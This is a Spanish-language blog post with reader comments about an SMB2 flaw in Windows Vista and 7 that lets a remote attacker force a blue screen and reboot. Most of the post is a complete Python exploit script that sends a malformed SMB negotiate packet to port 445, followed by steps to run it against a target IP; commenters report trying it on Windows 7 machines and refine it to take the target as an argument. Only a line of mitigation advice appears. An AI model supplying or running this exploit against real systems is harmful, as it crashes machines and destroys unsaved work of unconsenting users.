Nueva vulnerabilidad en windows

agujero

Se detectó una nueva y muy grave vulnerabilidad en el sistema operativo de Micro$oft que afecta las versiones “Vista” y “Seven”. La misma es una falla en SMB2 y permite colapsar remotamente un equipo, haciéndolo mostrar la famosa blue screen of death y obligándolo a reiniciarse, obviamente perdiendo toda la información de la sesión.

El script para explotar dicha vulnerabilidad está escrito en Python y es el siguiente:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header
# PAGE_FAULT_IN_NONPAGED_AREA 

import sys
from socket import socket
from time import sleep

host = sys.argv[1], 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: -->  normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

Para ejecutarlo, creamos un archivo  script.py  pegamos el script de arriba dentro del mismo. Hay que modificar donde dice “IP_ADDR” por la dirección IP de la máquina objetivo y lo guardamos.
Luego damos permisos de ejecución al script desde una terminal con:

dfa@diego-factory:~$ chmod +x script.py

y lo ejecutamos:

dfa@diego-factory:~$ python script.py [ ip ]

Microsoft no tiene solución aún para este problema, por lo que lo único que pueden hacer los tristes usuarios de Windows para evitar abusos es desactivar SMB2 o en todo caso, cerrar el puerto 445 o mejor aún, instalar en sus computadoras un sistema operativo libre y seguro.

La fuente original del exploit y la noticia en general me llegó gracias a tty0.

Compartir:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Meneame
  1. yeye dice:

    jajaja
    q copado..
    ya falta poco para mi gran cambio

  2. ArYiX dice:

    A proposito que fácil se codean los exploits en python, antes había que ponerse a escribir en C un raaaaato largo y probar mucho más.

  3. Diego dice:

    Si ArYiX… Python es una bestia! muy simple, muy potente. ;)

  4. Goico dice:

    Lo probe ayer contra un Win7 y no funciono (aunque en la review que yo lei decia que funcionaba tanto con Vista como con 7).
    Alguien lo probo exitosamente contra un VIsta parchado?

  5. anv dice:

    Goico: no te olvides de que la mayoría de los proveedores de internet bloquean los puertos de windows (139 y 445) para proteger a los windozos y que todo el mundo no se ponga a mandarles cosas a las impresoras, así que seguramente este ataque no funcione por internet.

  6. anv dice:

    ¿y no sería mejor reemplazar

    host = “IP_ADDR”, 445

    por

    import sys
    host = sys.argv[1], 445

    ?

  7. Diego dice:

    Yo lo probé por LAN en dos máquinas distintas con seven y funciona. Por Internet no lo probé, pero si haces un escaneo de puertos a la IP y el 445 está a la escucha, debería funcionar…

  8. Diego dice:

    Si anv , buen aporte, ya lo modifico.
    La modificación que plantea anv es para en vez de “hardcodear” la IP objetivo dentro del código, pasársela como parámetro al script.

  1. There are no trackbacks for this post yet.

Leave a Reply